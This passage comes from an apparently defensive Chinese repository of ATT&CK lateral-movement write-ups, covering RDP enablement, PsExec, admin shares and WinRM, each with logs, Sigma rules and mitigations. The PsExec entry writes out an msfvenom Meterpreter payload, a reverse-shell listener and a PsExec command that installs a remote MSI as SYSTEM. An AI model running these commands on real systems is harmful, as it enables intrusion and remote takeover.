<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1614/T1614.md>\n"
  },
  {
    "path": "Windows/10横向移动/T1021.001-Win-使用Start_Rdp开启远程桌面服务.md",
    "content": "# T1021.001-Win-使用Start_Rdp开启远程桌面服务\n\n## 描述\n\n攻击者可能利用有效帐户通过远程桌面协议（RDP）登录目标系统，从而以登录用户身份执行操作。RDP是Windows操作系统中的常见功能，允许用户通过图形界面访问远程系统，微软将其实现称为远程桌面服务（RDS）。如果RDP服务已启用且攻击者拥有有效凭据，他们可以通过RDP连接扩展访问权限、执行横向移动或实现持久化。攻击者可能通过凭据获取技术（如凭据转储、键盘记录）获得RDP所需的凭据。\n\n`Start_Rdp.exe`是一个开源工具（https://github.com/Ryze-T/Windows_API_Tools），用于通过修改注册表启用RDP服务，攻击者可能利用此类工具快速开启目标系统的远程桌面功能。\n\n## 测试案例\n\n### 用例\n- **启用RDP服务**：攻击者使用`Start_Rdp.exe`修改注册表，启用目标系统的RDP服务以便后续访问。\n- **持久化**：通过脚本或计划任务定期运行`Start_Rdp.exe`，确保RDP服务保持开启。\n- **横向移动**：结合有效凭据，通过RDP登录目标系统执行进一步操作。\n\n### 示例场景\n- 攻击者在受损的Windows系统上运行`Start_Rdp.exe`，修改注册表键`HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\fDenyTSConnections`为`0`，启用RDP服务。\n- 使用有效凭据通过RDP连接目标系统，执行命令或提取数据。\n\n### 路径\n`Start_Rdp.exe`通常由攻击者手动部署，路径取决于执行位置：\n```yml\n- C:\\Windows_API_Tools-main\\Start_Rdp.exe\n- C:\\Temp\\Start_Rdp.exe\n```\n\n### 所需权限\n- 管理员权限（修改注册表以启用RDP服务）。\n- 用户权限（若仅通过RDP登录）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`Start_Rdp.exe`或其他进程（如`reg.exe`）的创建及命令行参数（需启用命令行审核）。\n- **事件ID 4657**：记录注册表值的修改（如`fDenyTSConnections`）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`Start_Rdp.exe`进程创建及命令行参数。\n- **事件ID 13**：记录注册表修改事件（如`HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\fDenyTSConnections`）。\n- **事件ID 3**：记录RDP相关的网络连接（若攻击者通过RDP登录）。\n\n### 网络日志\n- 捕获RDP协议（TCP 3389）的入站或出站流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2012、Windows 10/11或Windows Server 2016/2019。\n- **权限**：管理员权限。\n- **工具**：\n  - `Start_Rdp.exe`（从https://github.com/Ryze-T/Windows_API_Tools获取）。\n  - Sysmon（用于进程和注册表监控）。\n  - Wireshark（捕获RDP网络流量）。\n- **网络**：隔离网络环境，允许TCP 3389流量。\n- **日志**：启用Windows安全日志、Sysmon日志和网络日志。\n\n### 攻击步骤\n1. **获取Start_Rdp.exe**：\n   - 下载并解压Windows_API_Tools（https://github.com/Ryze-T/Windows_API_Tools）。\n   - 复制`Start_Rdp.exe`到靶机（如`C:\\Windows_API_Tools-main\\Start_Rdp.exe`）。\n2. **运行Start_Rdp.exe**：\n   ```bash\n   C:\\Windows_API_Tools-main>Start_Rdp.exe\n   success\n   ```\n   - 命令修改注册表键`HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\fDenyTSConnections`为`0`，启用RDP服务。\n3. **验证结果**：\n   - 检查注册表键值：\n     ```bash\n     reg query HKLM\\System\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections\n     ```\n     - 预期输出：`fDenyTSConnections    REG_DWORD    0x0`\n   - 使用RDP客户端（如`mstsc.exe`）尝试连接目标系统，确认RDP服务已启用。\n   - 验证Sysmon日志是否记录进程创建和注册表修改。\n4. **清理**：\n   - 禁用RDP服务：\n     ```bash\n     reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f\n     ```\n   - 删除`Start_Rdp.exe`：\n     ```bash\n     del C:\\Windows_API_Tools-main\\Start_Rdp.exe\n     ```\n\n## 测试留痕\n以下为Sysmon日志示例（事件ID 1，进程创建）：\n```log\nEventID: 1\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\nUtcTime: 2025-06-08T04:19:46.909Z\nProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000}\nProcessId: 2796\nImage: C:\\Windows_API_Tools-main\\Start_Rdp.exe\nFileVersion: -\nDescription: -\nProduct: -\nCompany: -\nOriginalFileName: -\nCommandLine: Start_Rdp.exe\nCurrentDirectory: C:\\Windows_API_Tools-main\\\nUser: WEIDONG\\Administrator\nLogonGuid: {4a363fee-2447-623c-df16-080000000000}\nLogonId: 0x816DF\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=9805144590D86D7BF4D6D01BB368047BC94EF174,MD5=14148598AD98D05A820462F0BBD07B9F,SHA256=98579200636025AA468A3EEC8B217273630FD4658F6ABDBB035C8A094650311A\nParentProcessGuid: {4a363fee-246e-623c-4a6d-0f0000000000}\nParentProcessId: 3472\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\System32\\cmd.exe\"\nParentUser: WEIDONG\\Administrator\n```\n\n以下为Sysmon日志示例（事件ID 13，注册表修改）：\n```log\nEventID: 13\nRuleName: technique_id=T1112,technique_name=Modify Registry\nEventType: SetValue\nUtcTime: 2025-06-08T04:19:46.909Z\nProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000}\nProcessId: 2796\nImage: C:\\Windows_API_Tools-main\\Start_Rdp.exe\nTargetObject: HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\fDenyTSConnections\nDetails: DWORD (0x00000000)\nUser: WEIDONG\\Administrator\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测`Start_Rdp.exe`或其他工具启用RDP服务的行为：\n\n```yml\ntitle: Suspicious RDP Service Activation\nid: f7a8c9d5-4b3c-5e6d-9f8e-3a4b5c6d7e8f\nstatus: experimental\ndescription: Detects enabling of Windows Remote Desktop Service via registry modification\nreferences:\n- https://attack.mitre.org/techniques/T1021/001\n- https://github.com/Ryze-T/Windows_API_Tools\nlogsource:\n  product: windows\n  category: registry_event\ndetection:\n  selection:\n    EventID: 13\n    TargetObject|endswith: '\\Control\\Terminal Server\\fDenyTSConnections'\n    Details: DWORD (0x00000000)\n  condition: selection\nfalsepositives:\n- Legitimate administrative actions enabling RDP\n- System configuration changes by IT staff\nlevel: medium\n```\n\n### 检测思路\n1. **注册表监控**：\n   - 检测`HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\fDenyTSConnections`被设置为`0`的修改事件。\n   - 使用Sysmon事件ID 13捕获注册表操作。\n2. **进程监控**：\n   - 检测`Start_Rdp.exe`或其他可疑进程（如`reg.exe`）的创建，尤其是命令行涉及RDP配置。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）。\n3. **网络监控**：\n   - 检测TCP 3389端口的入站或出站流量，确认RDP连接。\n   - 检查连接的目标IP是否为已知C2服务器。\n4. **行为基线**：\n   - 建立组织内RDP服务的正常启用模式，识别异常行为（如夜间运行、非管理员用户）。\n5. **文件监控**：\n   - 检测`Start_Rdp.exe`或其他非系统工具的创建或执行。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控注册表修改（事件ID 13）、进程创建（事件ID 1）和网络连接（事件ID 3）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）监控RDP相关注册表和网络活动。\n- **防火墙规则**：监控TCP 3389端口流量，限制未授权的RDP连接。\n- **误报过滤**：排除IT管理员或合法脚本启用RDP的行为，结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **RDP限制**：\n   - 通过组策略禁用RDP服务（设置`fDenyTSConnections`为`1`），除非必要。\n   - 限制RDP访问，仅允许特定用户或IP范围。\n2. **注册表保护**：\n   - 限制非管理员用户修改`HKLM\\System\\CurrentControlSet\\Control\\Terminal Server`。\n3. **应用白名单**：\n   - 使用AppLocker或WDAC限制`Start_Rdp.exe`或非系统工具的执行。\n4. **网络监控**：\n   - 部署IDS/IPS，检测异常RDP流量（如连接到可疑IP）。\n5. **凭据保护**：\n   - 启用多因素认证（MFA）保护RDP登录，降低凭据泄露风险。\n\n## 参考推荐\n- MITRE ATT&CK T1021.001  \n  https://attack.mitre.org/techniques/T1021/001  \n- 系统监视器(Sysmon)工具的使用  \n  https://blog.csdn.net/ducc20180301/article/details/119350200  \n- Windows_API_Tools  \n  https://github.com/Ryze-T/Windows_API_Tools\n"
  },
  {
    "path": "Windows/10横向移动/T1021.002-Win-基于PsExec执行payload(白名单).md",
    "content": "# T1021.002-Win-基于白名单PsExec执行Payload\n\n## 描述\n\n攻击者可能利用有效帐户通过服务器消息块（SMB）协议访问远程网络共享（如`C$`、`ADMIN$`、`IPC$`），以登录用户身份执行操作。SMB是Windows系统中用于文件、打印机和串行端口共享的协议，Linux和macOS通过Samba实现类似功能。Windows的隐藏管理员共享仅限管理员访问，支持远程文件复制和管理功能。攻击者结合管理员级凭据，通过SMB实现横向移动、文件传输或远程执行。PsExec是Sysinternals Suite的轻量级工具，允许在远程系统上执行进程，常被攻击者用于通过`IPC$`共享部署和执行恶意Payload（如Meterpreter），实现反弹Shell或其他恶意操作。\n\n## 测试案例\n\n### 用例\n- **横向移动**：使用PsExec通过`IPC$`共享在远程系统上执行命令或Payload。\n- **Payload部署**：通过`ADMIN$`共享上传恶意文件，随后使用PsExec执行。\n- **反弹Shell**：利用PsExec运行Meterpreter Payload，建立与攻击者C2服务器的连接。\n- **持久化**：通过PsExec创建计划任务或服务，确保恶意代码持续运行。\n\n### 示例场景\n- 攻击者使用PsExec通过SMB在目标系统上运行`msiexec.exe`，安装从远程服务器下载的恶意MSI文件（`shellcode.msi`），建立Meterpreter反弹Shell。\n- 利用管理员凭据访问`IPC$`共享，执行远程命令。\n\n### 路径\n- PsExec：通常由攻击者手动部署，路径如：\n  ```yml\n  - C:\\Users\\<username>\\Desktop\\PSTools\\PsExec.exe\n  - C:\\Temp\\PsExec.exe\n  ```\n- PSEXESVC：PsExec在目标系统创建的服务，路径：\n  ```yml\n  - C:\\Windows\\PSEXESVC.exe\n  ```\n\n### 所需权限\n- 管理员权限（访问管理员共享、执行PsExec）。\n- 有效凭据或NTLM哈希（通过传递哈希攻击）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`PsExec.exe`、`PSEXESVC.exe`或`msiexec.exe`进程创建及命令行参数（需启用命令行审核）。\n- **事件ID 5140**：记录网络共享访问（如`IPC$`）。\n- **事件ID 5145**：记录详细的共享访问（如`PSEXESVC`文件）。\n- **事件ID 4624**：记录网络登录事件（类型3，可能涉及SMB）。\n- **事件ID 4672**：记录分配给新登录的安全特权（如管理员登录）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`PsExec.exe`、`PSEXESVC.exe`或`msiexec.exe`进程创建及命令行参数。\n- **事件ID 3**：记录SMB连接（TCP 445端口）的网络活动。\n- **事件ID 11**：记录共享中文件的创建或修改（如`PSEXESVC.exe`）。\n- **事件ID 7**：记录模块加载（如恶意MSI加载的DLL）。\n\n### Netflow日志\n- 捕获TCP 445端口的SMB流量及TCP 4444端口的反弹Shell流量。\n\n## 测试复现\n\n### 环境准备\n- **攻击机**：Kali Linux 2019（或其他支持Metasploit的系统）。\n- **靶机**：Windows 7/10/11或Windows Server 2012/2016（已启用SMB和管理员共享）。\n- **权限**：域管理员或本地管理员凭据。\n- **工具**：\n  - Metasploit Framework（生成Payload和监听反弹Shell）。\n  - PsExec（从https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec获取）。\n  - Sysmon（监控进程和网络活动）。\n  - Wireshark（捕获SMB和反弹Shell流量）。\n- **网络**：隔离网络环境，允许TCP 445和4444端口流量。\n- **日志**：启用Windows安全日志（配置审核进程创建）、Sysmon日志和Netflow日志。\n  - 启用命令行记录：\n    ```\n    本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在过程创建事件中加入命令行 > 启用\n    ```\n\n### 攻击步骤\n1. **配置Metasploit监听器（攻击机）**：\n   ```bash\n   msf5 > use exploit/multi/handler\n   msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler) > set lhost 192.168.126.146\n   msf5 exploit(multi/handler) > set lport 4444\n   msf5 exploit(multi/handler) > exploit\n   ```\n2. **生成恶意Payload（攻击机）**：\n   ```bash\n   msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f msi > shellcode.msi\n   ```\n   - 托管`shellcode.msi`于攻击机的Web服务器：\n     ```bash\n     python3 -m http.server 80\n     ```\n3. **执行PsExec（靶机）**：\n   - 将`PsExec.exe`复制到靶机（如`C:\\Users\\12306Br0\\Desktop\\PSTools\\PsExec.exe`）。\n   - 以管理员权限运行：\n     ```dos\n     PsExec.exe -d -s msiexec.exe /q /i http://192.168.126.146/shellcode.msi\n     ```\n     - 参数说明：\n       - `-d`：非交互模式，后台运行。\n       - `-s`：以SYSTEM权限运行。\n       - `/q`：安静模式，无用户界面。\n       - `/i`：安装MSI文件。\n4. **获取反弹Shell（攻击机）**：\n   - Metasploit接收Meterpreter会话：\n     ```\n     [*] Started reverse TCP handler on 192.168.126.146:4444\n     [*] Sending stage (180291 bytes) to 192.168.126.149\n     [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.149:49371) at 2025-06-08 04:24:44 +0800\n     meterpreter > getuid\n     Server username: NT AUTHORITY\\SYSTEM\n     ```\n5. **验证结果**：\n   - 检查靶机是否创建`C:\\Windows\\PSEXESVC.exe`。\n   - 使用Wireshark捕获TCP 445（SMB）和TCP 4444（反弹Shell）流量。\n   - 验证Sysmon日志是否记录`PsExec.exe`、`PSEXESVC.exe`和`msiexec.exe`的进程创建。\n6. **清理**：\n   - 靶机：\n     ```dos\n     del C:\\Windows\\PSEXESVC.exe\n     del C:\\Users\\12306Br0\\Desktop\\PSTools\\PsExec.exe\n     ```\n   - 攻击机：\n     ```bash\n     rm shellcode.msi\n     ```\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688，PsExec进程创建）：\n```yml\nEventID: 4688\nTimeCreated: 2025-06-08T04:24:29.237Z\nChannel: Security\nHostname: WIN7-TARGET\nSubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-1001\nSubjectUserName: 12306Br0\nSubjectDomainName: 12306Br0-PC\nSubjectLogonId: 0x6e1ea\nNewProcessId: 0xe84\nNewProcessName: C:\\Users\\12306Br0\\Desktop\\PSTools\\PsExec.exe\nProcessCommandLine: PsExec.exe -d -s msiexec.exe /q /i http://192.168.126.146/shellcode.msi\nCreatorProcessId: 0xdac\nCreatorProcessName: C:\\Windows\\System32\\cmd.exe\nTokenElevationType: %%1936\n```\n\n以下为Sysmon日志示例（事件ID 1，PSEXESVC创建）：\n```yml\nEventID: 1\nUtcTime: 2025-06-08T04:24:29.284Z\nProcessGuid: {bb1f7c32-1829-5e9b-0000-00108c864001}\nProcessId: 4044\nImage: C:\\Windows\\PSEXESVC.exe\nFileVersion: 2.2\nDescription: PsExec Service\nProduct: Sysinternals PsExec\nCompany: Sysinternals\nCommandLine: C:\\Windows\\PSEXESVC.exe\nCurrentDirectory: C:\\Windows\\system32\\\nUser: NT AUTHORITY\\SYSTEM\nLogonId: 0x3e7\nIntegrityLevel: System\nHashes: SHA1=A17C21B909C56D93D978014E63FB06926EAEA8E7\nParentProcessId: 496\nParentImage: C:\\Windows\\System32\\services.exe\n```\n\n以下为Windows安全日志示例（事件ID 5140，IPC$访问）：\n```yml\nEventID: 5140\nTimeCreated: 2025-06-08T04:24:29.456Z\nChannel: Security\nHostname: WIN7-TARGET\nSubjectUserName: 12306Br0\nSubjectDomainName: 12306Br0-PC\nShareName: \\\\*\\IPC$\nSourceAddress: fe80::719e:d312:648f:4884\nSourcePort: 49369\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测PsExec执行Payload的行为：\n\n```yml\ntitle: Suspicious PsExec Execution via Admin Shares\nid: d9e8f7c6-6a5b-7c8d-9f0e-5b4c6d7e8f9b\nstatus: experimental\ndescription: Detects PsExec execution accessing admin shares to deploy payloads\nreferences:\n- https://attack.mitre.org/techniques/T1021/002\n- https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID: 4688\n    Image|endswith:\n      - '\\PsExec.exe'\n      - '\\PSEXESVC.exe'\n  condition: selection\nfalsepositives:\n- Legitimate administrative use of PsExec by IT staff\n- System maintenance tasks\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`PsExec.exe`和`PSEXESVC.exe`进程创建，尤其是命令行包含`msiexec.exe`或`.msi`。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）调用PsExec。\n2. **共享访问监控**：\n   - 检测`IPC$`、`C$`或`ADMIN$`共享的访问（事件ID 5140、5145）。\n   - 检查共享访问的相对目标名称（如`PSEXESVC`）。\n3. **网络监控**：\n   - 检测TCP 445端口的SMB流量，尤其是与`IPC$`共享的连接。\n   - 监控TCP 4444等非标准端口的反弹Shell流量。\n4. **文件监控**：\n   - 检测`C:\\Windows\\PSEXESVC.exe`的创建或异常MSI文件的下载。\n5. **行为基线**：\n   - 建立组织内PsExec和SMB共享的正常使用模式，识别异常行为（如夜间执行、非管理员用户）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控进程创建（事件ID 1）、网络连接（事件ID 3）和文件操作（事件ID 11）。\n- **命令行记录**：启用Windows安全日志的命令行审核，捕获PsExec的详细参数。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测PsExec执行和SMB共享访问。\n- **误报过滤**：排除IT管理员的合法PsExec使用，结合上下文（如用户身份、目标IP）降低误报率。\n\n## 缓解措施\n1. **共享访问控制**：\n   - 禁用不必要的管理员共享：\n     ```bash\n     reg add \"HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /t REG_DWORD /d 0 /f\n     ```\n   - 限制对`C$`、`ADMIN$`和`IPC$`的访问，仅允许特定用户或IP。\n2. **凭据保护**：\n   - 启用多因素认证（MFA）保护管理员账户。\n   - 限制NTLM哈希传递攻击（如启用Kerberos或禁用NTLM）。\n3. **应用白名单**：\n   - 使用AppLocker或WDAC限制`PsExec.exe`和非系统工具的执行。\n4. **网络限制**：\n   - 配置防火墙阻止未经授权的TCP 445流量。\n   - 使用网络分段隔离敏感系统。\n5. **补丁管理**：\n   - 确保系统安装最新补丁，防止SMB协议漏洞（如EternalBlue）。\n\n## 参考推荐\n- MITRE ATT&CK T1021.002  \n  https://attack.mitre.org/techniques/T1021/002  \n- PsExec官方文档  \n  https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec  \n- 基于白名单PsExec执行Payload  \n  https://blog.csdn.net/ws13129/article/details/89879771\n"
  },
  {
    "path": "Windows/10横向移动/T1021.002-Win-管理员共享.md",
    "content": "# T1021.002-Win-管理员共享\n\n## 描述\n\n攻击者可能利用有效帐户通过服务器消息块（SMB）协议与远程网络共享交互，以登录用户身份执行操作。SMB是Windows系统中用于文件、打印机和串行端口共享的协议，Linux和macOS通过Samba实现类似功能。Windows系统包含隐藏的管理员共享（如`C$`、`ADMIN$`、`IPC$`），仅限管理员访问，提供远程文件复制和管理功能。攻击者可结合管理员级凭据，通过SMB访问这些共享，实现横向移动、文件传输、远程执行或持久化操作。相关技术包括使用远程过程调用（RPC）、计划任务、服务执行或Windows管理规范（WMI）。攻击者还可能利用NTLM哈希通过“传递哈希”攻击访问管理员共享。\n\n## 测试案例\n\n### 用例\n- **横向移动**：攻击者使用有效管理员凭据通过SMB访问`C$`共享，浏览目标系统文件。\n- **文件传输**：将恶意二进制文件上传至`ADMIN$`共享，随后通过远程执行运行。\n- **数据窃取**：从`C$`共享下载敏感文件（如配置文件、数据库）。\n- **持久化**：通过`IPC$`共享结合WMI或计划任务创建持久化机制。\n\n### 示例场景\n- 攻击者使用窃取的管理员凭据通过SMB连接到目标系统的`C$`共享，复制恶意脚本。\n- 使用`psexec`或`wmic`通过`IPC$`共享在远程系统上执行命令。\n\n### 路径\n管理员共享默认路径：\n```yml\n- \\\\<target_hostname>\\C$\n- \\\\<target_hostname>\\ADMIN$\n- \\\\<target_hostname>\\IPC$\n```\n\n### 所需权限\n- 管理员权限（访问管理员共享）。\n- 有效凭据或NTLM哈希（通过传递哈希攻击）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 5140**：记录网络共享访问（如`C$`、`ADMIN$`）。\n- **事件ID 4672**：记录分配给新登录的安全特权（如管理员登录）。\n- **事件ID 4624**：记录成功登录事件（类型3表示网络登录，可能涉及SMB）。\n\n### Sysmon日志\n- **事件ID 1**：捕获相关进程（如`explorer.exe`、`net.exe`）创建及命令行参数。\n- **事件ID 3**：记录SMB连接（TCP 445端口）的网络活动。\n- **事件ID 11**：记录共享中文件的创建或修改。\n\n### Netflow日志\n- 捕获TCP 445端口的流量，记录源IP、目标IP和数据量。\n\n### 其他日志\n- **SMB事件日志**：Windows事件ID 5145记录详细的共享访问（如文件路径）。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2012/2016或Windows 10/11（已启用SMB和管理员共享）。\n- **权限**：域管理员或本地管理员凭据。\n- **工具**：\n  - `net.exe`（系统自带，用于访问共享）。\n  - `psexec`（Sysinternals工具，用于远程执行）。\n  - Sysmon（监控进程和网络活动）。\n  - Wireshark（捕获SMB流量）。\n- **网络**：隔离网络环境，允许TCP 445流量。\n- **日志**：启用Windows安全日志、Sysmon日志和Netflow日志。\n\n### 攻击步骤\n1. **验证凭据**：\n   - 确保拥有目标系统的管理员凭据（如`Administrator:Password123`）。\n2. **访问管理员共享**：\n   ```bash\n   net use \\\\<target_ip>\\C$ /user:<domain>\\<username> <password>\n   ```\n   - 示例：\n     ```bash\n     net use \\\\192.168.1.100\\C$ /user:WEIDONG\\Administrator Password123\n     ```\n3. **浏览或复制文件**：\n   ```bash\n   dir \\\\192.168.1.100\\C$\\Users\n   copy malicious.exe \\\\192.168.1.100\\ADMIN$\\malicious.exe\n   ```\n4. **远程执行（可选）**：\n   - 使用`psexec`执行上传的文件：\n     ```bash\n     psexec \\\\192.168.1.100 -u WEIDONG\\Administrator -p Password123 cmd\n     ```\n5. **验证结果**：\n   - 检查目标系统共享中的文件（如`\\\\192.168.1.100\\ADMIN$\\malicious.exe`）。\n   - 使用Wireshark捕获TCP 445流量。\n   - 验证Sysmon日志是否记录进程创建、文件操作和网络连接。\n6. **清理**：\n   - 删除上传的文件：\n     ```bash\n     del \\\\192.168.1.100\\ADMIN$\\malicious.exe\n     ```\n   - 断开共享连接：\n     ```bash\n     net use \\\\192.168.1.100\\C$ /delete\n     ```\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 5140，共享访问）：\n```yml\nEventID: 5140\nTimeCreated: 2025-06-08T04:45:23.456Z\nChannel: Security\nHostname: TARGET-SRV\nSubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-500\nSubjectUserName: Administrator\nSubjectDomainName: WEIDONG\nSubjectLogonId: 0x3E7\nShareName: \\\\*\\C$\nSharePath: \\??\\C:\\ \nAccessMask: 0x1\n```\n\n以下为Sysmon日志示例（事件ID 3，网络连接）：\n```yml\nEventID: 3\nUtcTime: 2025-06-08T04:45:23.789Z\nProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000}\nProcessId: 1234\nImage: C:\\Windows\\System32\\svchost.exe\nUser: NT AUTHORITY\\SYSTEM\nProtocol: tcp\nSourceIp: 192.168.1.10\nSourcePort: 49152\nDestinationIp: 192.168.1.100\nDestinationPort: 445\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测SMB管理员共享访问行为：\n\n```yml\ntitle: Suspicious SMB Admin Share Access\nid: c8d9e7f6-5a4b-6c7d-8e9f-4b3c5d6e7f9a\nstatus: experimental\ndescription: Detects access to Windows admin shares (C$, ADMIN$, IPC$) via SMB\nreferences:\n- https://attack.mitre.org/techniques/T1021/002\nlogsource:\n  product: windows\n  category: network_share\ndetection:\n  selection:\n    EventID: 5140\n    ShareName|contains:\n      - '\\C$'\n      - '\\ADMIN$'\n      - '\\IPC$'\n  condition: selection\nfalsepositives:\n- Legitimate administrative activities by IT staff\n- Backup or file sharing operations\nlevel: medium\n```\n\n### 检测思路\n1. **网络流量监控**：\n   - 检测TCP 445端口的SMB流量，尤其是访问`C$`、`ADMIN$`或`IPC$`共享的连接。\n   - 使用Netflow或协议解析器提取文件路径（如`proto_info.file_name`）。\n2. **进程监控**：\n   - 检测访问管理员共享的进程（如`net.exe`、`psexec.exe`），尤其是命令行包含`\\\\<hostname>\\C$`。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）。\n3. **文件操作监控**：\n   - 检测共享中文件的创建、修改或读取事件（如上传恶意文件到`ADMIN$`）。\n4. **登录事件监控**：\n   - 检查事件ID 4624（类型3，网络登录），确认SMB会话的认证。\n5. **行为基线**：\n   - 建立组织内管理员共享的正常访问模式，识别异常行为（如夜间访问、非管理员用户）。\n\n### 检测建议\n- **Netflow分析**：使用SIEM（如Splunk、Elastic）监控TCP 445流量，提取SMB共享访问细节。\n- **Sysmon配置**：配置Sysmon监控网络连接（事件ID 3）、共享访问（事件ID 5140）和文件操作（事件ID 11）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）检测管理员共享的异常访问。\n- **误报过滤**：排除IT管理员或备份脚本的合法SMB活动，结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **共享访问控制**：\n   - 禁用不必要的管理员共享（如`C$`、`ADMIN$`），通过组策略设置：\n     ```bash\n     reg add \"HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /t REG_DWORD /d 0 /f\n     ```\n   - 限制对管理员共享的访问，仅允许特定用户或IP。\n2. **凭据保护**：\n   - 启用多因素认证（MFA）保护管理员账户。\n   - 定期轮换管理员凭据，限制NTLM哈希传递攻击。\n3. **网络限制**：\n   - 配置防火墙阻止未经授权的TCP 445流量。\n   - 使用网络分段隔离敏感系统，减少SMB暴露面。\n4. **监控与告警**：\n   - 部署IDS/IPS，检测异常SMB流量或共享访问。\n   - 配置SIEM实时告警管理员共享的访问。\n5. **补丁管理**：\n   - 确保系统安装最新补丁，防止SMB协议漏洞（如EternalBlue）。\n\n## 参考推荐\n- MITRE ATT&CK T1021.002  \n  https://attack.mitre.org/techniques/T1021/002\n"
  },
  {
    "path": "Windows/10横向移动/T1021.006-Win-远程powershell会话.md",
    "content": "# T1021.006-Win-远程PowerShell会话\n\n## 描述\n\n攻击者可能利用有效帐户通过Windows远程管理（WinRM）协议与远程系统交互，以登录用户身份执行操作。WinRM是Windows内置的服务和协议，允许远程执行命令、修改注册表、管理服务或运行可执行文件。攻击者可通过`winrm`命令行工具或PowerShell（如`Enter-PSSession`）调用WinRM，结合有效凭据实现横向移动、数据收集或持久化。WinRM默认使用TCP 5985（HTTP）或5986（HTTPS）端口，依赖Kerberos或NTLM认证。\n\n## 测试案例\n\n### 用例\n- **远程命令执行**：使用`Enter-PSSession`在远程系统上执行PowerShell命令（如文件操作、配置修改）。\n- **横向移动**：通过WinRM登录目标系统，运行恶意脚本或Payload。\n- **持久化**：通过远程PowerShell创建计划任务或服务。\n- **数据窃取**：远程访问目标系统，提取敏感文件或凭据。\n\n### 示例场景\n- 攻击者使用有效管理员凭据通过`Enter-PSSession`建立远程PowerShell会话，运行命令收集系统信息。\n- 结合`Invoke-Command`在多台远程系统上批量执行恶意脚本。\n\n### 路径\n- WinRM相关进程：\n  ```yml\n  - C:\\Windows\\System32\\svchost.exe (WinRM服务宿主)\n  - C:\\Windows\\System32\\wsmprovhost.exe (PowerShell远程会话宿主)\n  - C:\\Windows\\System32\\dllhost.exe (COM+组件，可能与WinRM相关)\n  ```\n\n### 所需权限\n- 管理员权限（执行远程PowerShell会话）。\n- 有效凭据（域或本地账户）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`wsmprovhost.exe`或`dllhost.exe`进程创建（需启用命令行审核）。\n- **事件ID 4624**：记录WinRM登录事件（类型3，网络登录）。\n- **事件ID 4672**：记录分配给新登录的安全特权（如管理员权限）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`wsmprovhost.exe`或`dllhost.exe`进程创建及命令行参数。\n- **事件ID 3**：记录WinRM相关的网络连接（TCP 5985/5986）。\n- **事件ID 11**：记录远程会话生成的文件（如脚本输出）。\n\n### PowerShell日志\n- **事件ID 4104**：记录PowerShell脚本块执行（如`Enter-PSSession`）。\n- **事件ID 600**：记录PowerShell远程会话的建立。\n\n### 网络日志\n- 捕获TCP 5985（HTTP）或5986（HTTPS）端口的WinRM流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2016或Windows 10/11（已启用WinRM）。\n- **权限**：域管理员或本地管理员凭据。\n- **工具**：\n  - PowerShell（系统自带）。\n  - Sysmon（监控进程和网络活动）。\n  - 